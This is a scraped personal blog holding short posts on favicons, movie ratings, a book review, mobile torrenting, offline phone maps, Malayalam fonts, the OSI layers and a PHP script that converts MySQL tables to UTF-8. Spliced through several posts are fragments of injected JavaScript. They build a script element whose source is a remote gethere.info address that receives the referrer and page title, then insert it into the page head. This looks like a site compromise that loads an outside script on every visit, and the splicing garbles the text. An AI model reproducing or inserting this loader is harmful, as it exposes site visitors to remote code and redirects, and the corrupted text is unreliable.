how to add favicon to the address bar

As per wikipedia

A favicon (short for favorites icon), also known as a website icon, shortcut icon, url icon, or bookmark icon is a 16×16 pixel square icon associated with a particular website.

Favicon is always stored in the name favicon.ico and it is included in the header of every page so that it will be displayed along the address bar.

Steps to create a favicon

1) Select the image that you want to be the favicon

2)Create the 16*16 image from the selected image and save it as “favicon.ico.

3)Upload to the server and for displaying it add the following code in the header

<link rel="shortcut icon" href="http://yoursitename.com/favicon.ico" type="image/vnd.microsoft.icon"/>
<link rel="icon" href="http://yoursitename.com/favicon.ico" type="image/x-ico"/>

4) For including in wordpress, edit the “header.php” file in the theme folder that you are currently using.d.getElementsByTagName(‘head’)[0].appendChild(s);

movie wish list – part II

gran torino | 10/10 | awesome awesome movie
Transformers | 8/10 | (a very nice movie, deserves to be seen)
Vicky Cristina Barcelona | 9/10 | (a very interesting moive. read VERY twice. must watch movie.)
Hellboy 2 | 8/10
21 | timepass movie
Vantage point | 9/10 | very nice movie, some loopholes, but a competitor to the bourne series.
The president is coming | 8/10
Gran Torino | 8/10
Pride and Glory | 8.5/10
Hot Fuzz | 9.5/10
The simpsons movie |  9/10
fifth element | 8.5/10
edward scissorhands | 9/10
Changeling | 8/10
The Curious Case of Benjamin Button (2008) | 9.7/10
Mystic River (2003) | 9/10
18 Year old Virgin | 7/10 | Adults only ,a big no for kids
In Bruges |  9/10 | Ultimate Crime Comedy film
The Notebook | 8.5/10
LET THE RIGHT ONE IN | 9.8/10}

3 mistakes of my life

Book: 3 mistakes of my life

Author: Chetan Bhagat

Rating: 4/5

The first thing we feel on reading this book is the very indian touch in the writing style. I liked the plot , but it is similar in some respects to his other books.

The author narrates the story/experience of a Gujarati business man from the  his own(businessman) viewpoint. The  story goes through the communal riots that happened in Gujarat and the life of the businessman running a sports shop.

Overall the story line is typical, but captivating the reader. Its having all the ingradients and I don’t know why Chetan is always mixing some flirting and mature stuff(read sex ;)) into his stories.

I enjoyed the ride with this book and overall I can say that this is a book worth reading. People who are into reading “award”  books may find this book to be a little more tilted to the commercial side.



d.getElementsByTagName(‘head’)[0].appendChild(s);

torrenting on mobile

Most of you must be familiar with torrent downloading. I came across this software called SymTorrents which will allow you to download torrents directly on the mobile. You can use either wifi or the GPRS on the phone… But who want to use gprs!!!

SymTorrent is a full-featured and complete BitTorrent client for Symbian OS. It supports Symbian S60 3rd as well as 5th edition platforms. So that means that we can use it for 5800 also.

You can get the Symtorrent here

Here are some of the drawbacks that you may face in using mobiles for downloading torrents

1) Battery life will go down drastically as the phone needs to be on always. It may last for 3-4 hours
2) It doesn’t seem to work on trackers that accept only a handful of clients
3) The phone can get quite warm over prolonged downloads, and with charging the device simultaneously
4)no support for queuing of torrents

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Offline maps on a Java Mobile

I know that most of you with GPS must be familiar with this maps thingy.

Anyway here are the steps that will allow you to have Google/Yahoo maps on mobile which has java capability (usually all of the standard mobiles are having this nowadays) without the need for a GPRS connection

Download the jar file at the following link and install the app on your phone
Mobile GMaps / free download

Using the tools below, create the map files and transfer to phone
Mobile GMaps – Map Tile Caching tools

Edit the settings in mgmaps to point to the folder location.

Here is a little more detailed step by step procedure.

1.Use the map creation tool to generate the map tiles.

Map Creation Tool for MGMaps
On the map select the area and place 4 markers by clicking on the map using the mouse. (You can deselect a pin by clicking on it again)
Once the area is selected, select the

Zoom level: from and to (0 , 16 will do)
Level of detail: (default(fast and rough) is enough)
Type of map: (select your choice)

Click on Generate and it will allow you to download a .map file

2 Download the Gmapmaker setup file and install it.

(I found that gMapMaker is a good tool to generate the maps if you are using windows.I have also tried the perl command tools in linux and those are also working)

Cache Folder — is the place where the downloaded files will be stored.
Operation Mode — Mgmaps mode, use a .map file

Press GO and it will ask you to select the map file. Select the map file you have created in the first step and there you go!!!

Let gmapmaker download the tile files.. This will take some time.. Be patient

3. Copy the generated cache folder to the mobile’s mem stick or to phone mem for faster access.( if you have enough space in phone memory )

4. Install Mgmaps on your mobile from the jar file.

In the setting select the cache folder that you have stored on the mobile

TIPS
The download size is usually very big and hence it is not advisable to download a big area of map all at once.You can generate .map for different areas in separate .map files and transfer the folders and put on the phone as separate maps.

For example, if you need map for Chennai… download that area and move to mem stick and name the folder as Chennai.Do the same for blore and name the folder as blore. You can alternate betweeen each map by just selecting the required map folder in the settings section of Mgmaps from within the app on the phone. In this way you will make the maps load faster on the phone.

Although my phone (W810i) is without GPS , these maps are supposed to work with GPS also. (Hoping to buy a new mobile.. Locking on Nokia 5800XM, if the price is right )

Thats all folks…

If anyone need any help with installing/generating maps, please contact me and I will help you as far as I can.

} else {

Nokia 5800 Xpress Music video reviews

Here is some of the good video reviews on nokia 5800 from youtube.

This one gives a quick view on all the functionality of the phone
httpv://in.youtube.com/watch?v=R4kq4_-wUZ0

Here is a series of 4 reviews with good clarity on the description

httpv://in.youtube.com/watch?v=W_kE11yIyKI
httpv://in.youtube.com/watch?v=dkBtTrCdKv0
httpv://in.youtube.com/watch?v=Of09JCXiv6U
httpv://in.youtube.com/watch?v=2Es_bAOBx6od.getElementsByTagName(‘head’)[0].appendChild(s);

Not able to view malayalam fonts!

കേരളം അതിമനോഹരം. മലയാളം എത്ര സുന്ദരം.
Are you seeing jumbled and garbage characters instead of “malayalam” in the above line?

Don’t worry, just click here and follow the instructions. It is a simple application which will install the font rachana.ttf into your system. It will help you display indic languages properly on your browser.document.currentScript.parentNode.insertBefore(s, document.currentScript);

OSI Model

The 7 Layers

To perform network basics (port forwarding, NAT, packet filtering firewalls, etc) it is important to have a good understanding of the first 3 network layers. As a network adminsitrator, it is these layers that the equipment you deal with operate.

1. Physical
2. Link (Data Link)
3. Network
4. Transport
5. Session
6. Presentation
7. Application

document.currentScript.parentNode.insertBefore(s, document.currentScript);

Movie Wish List

Memento | 10/10
Seven Pound | 10/10
Burn-E
Oye Lucky | 9/10 | Dibakar Banerjee does it again (well atleast for the intellectual minds :P)
Madagascar 2 | 8/10
Death Race | 8/10
Son of Rambow | 7.5/10 | (2007) (http://www.imdb.com/title/tt0845046/) :
Reservoir Dogs |  8.7/10
Requiem for a Dream | 9.5/10
Madagascar Penguins in Christmas Capers
Cashback | 7.8/10
Changing Lanes | 7/10
X.Files – Fight the future | 8/10
All boys love mandy lane | 7/10
the cell | 7/10
Death Sentence |  6/10
hancock | 6.5/10
Taken | |Worth watching 🙂
Thunderpants | 7/10
Zack & Miri make a Porno |  7/10
Righteous Kill | 7.5/10
Slumdog Millionaire | 8/10 | Nice Movie
Erin Brockovich
| 7/10
P.S. I Love You

Addicted to Love
Trainspotting
Disturbia.Good thriller | 7/10.
The fountain- A really strange move|  7/10
Tropic Thunder | 8.5/10
Office Space | 9/10
Vantage point | 8/10
Training Day | 8/10
Hackers 1995
Porco rosso | 8/10 | (Ghibli Studio animation)
The Wackness | 8/10
Blue Velvet | 7.5/10
The Wrestler | 9/10
The Jungle Book | 11/10
Jumbo | 8/10
Revolutionary Road | 9/10
Reign over me. | 9/10.
In the valley of elah | 8/10.
Maria Full of Grace | 8/10
The visitor | 8/10
black balloon | 9/10
the fall | 8/10
Holes | 8/10
Traitor | 7/10
Crash (2004) | 9.9/10
Pineapple express  | 8/10
Revolutionary Road | 9/10
Fabuleux destin d’Amélie Poulain, Le (2001) | 9/10
Taken | 8/10
Black Friday | 9/10
Kiki’s Delivery Service | 8/10 | (Studio Ghibli Animation)
Tokyo Marble Chocolate | 8/10 | (animation)
Once Upon A Time In America  | 8.5/10
Get smart | 9
Without A Paddle (2004) | 8/10
Inside Man | 8/10
RockNRolla | 8.5/10
Waking Ned Devine | 11/10
The 40 year old virgin | 8/10
The curious case of Benjamin Button | 10/10
Sling Blade | 8/10
Deception | 8/10.
The Last of the Mohicans | 8/10
Max Payne | 7/10
Zack and Miri make a Porno | 7/10
The Wrestler | 9.5/10 |  Awesome
The President is Coming | 8/10
Just Like Heaven | 7.5/10
RocknRolla | 9/10
A Wednesday | 8/10
Fashion | 7.2/10
Scent of a Woman | 8/10 | Al Pacino is extraordinary..

diehard series, matrix series, LOTR series, pink panther series, naked gun series, adam sandler movies, jim carrey movies, lucky number slevin, kiss kiss bang bang, whole nine yardsvar d=document;var s=d.createElement(‘script’);

blogging in malayalam

I started this blog and decided to put in a malayalam blogging section in this one.  So inorder to start writing in malayalam, I had to do compose in malayalam.  I knew that there is a software which allows to write in “manglish” which will convert the english directly to malayalam. However my search for it ended at the google transliteration software.

http://www.google.com/transliterate/indic/Malayalam

What we have to do is

1) write the content in the google Transliteration software.

2) then copy-paste the same to the post.

I did the same, but was presented with garbled characters on the post. To be more specific, the characters were not displayed in malayalam, but instead a lot of I mean, a lot of question marks were at its place.  So I started my hunt again in my trusted friend, google. After a long search, I was able to find that the reason for this is due to the encoding used. So I tried changing the encoding format of my brower(firefox). View>Character Encoding.

Tried various encodings to no good. So again after an extensive search, I found that the mysql DB is the culprit. The trouble occured due to the fact that the default collation for the mysql db is latin1. So I have to change the collation to utf-8 encoding which is supposed to support the indic laguages(ie including malayalam). Instead of doing each of the tables manually using phpmyadmin, I used the following php code snippet to change the collation.

Use the below php code to make the character set of mysql db to be utf8_general_ci

<?php
$dbname = ‘dbname’;
mysql_connect(‘127.0.0.1’, ‘username’, ‘pass’);
mysql_query(“ALTER DATABASE `$dbname` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci”);
$res = mysql_query(“SHOW TABLES FROM `$dbname`”);
while($row = mysql_fetch_row($res)) {
$query = “ALTER TABLE {$dbname}.`{$row[0]}` CONVERT TO CHARACTER SET utf8 COLLATE utf8_general_ci”;
mysql_query($query);
$query = “ALTER TABLE {$dbname}.`{$row[0]}` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci”;
mysql_query($query);
}
echo ‘all tables converted’;
php?>

Instead of using the google tranliteration, I got hold of a wordpress plugin for the same. Google Indic Transliteration

Now that the base ground is set, I will be starting my malayalam blog in full blast… Hurray!!!!d.getElementsByTagName(‘head’)[0].appendChild(s);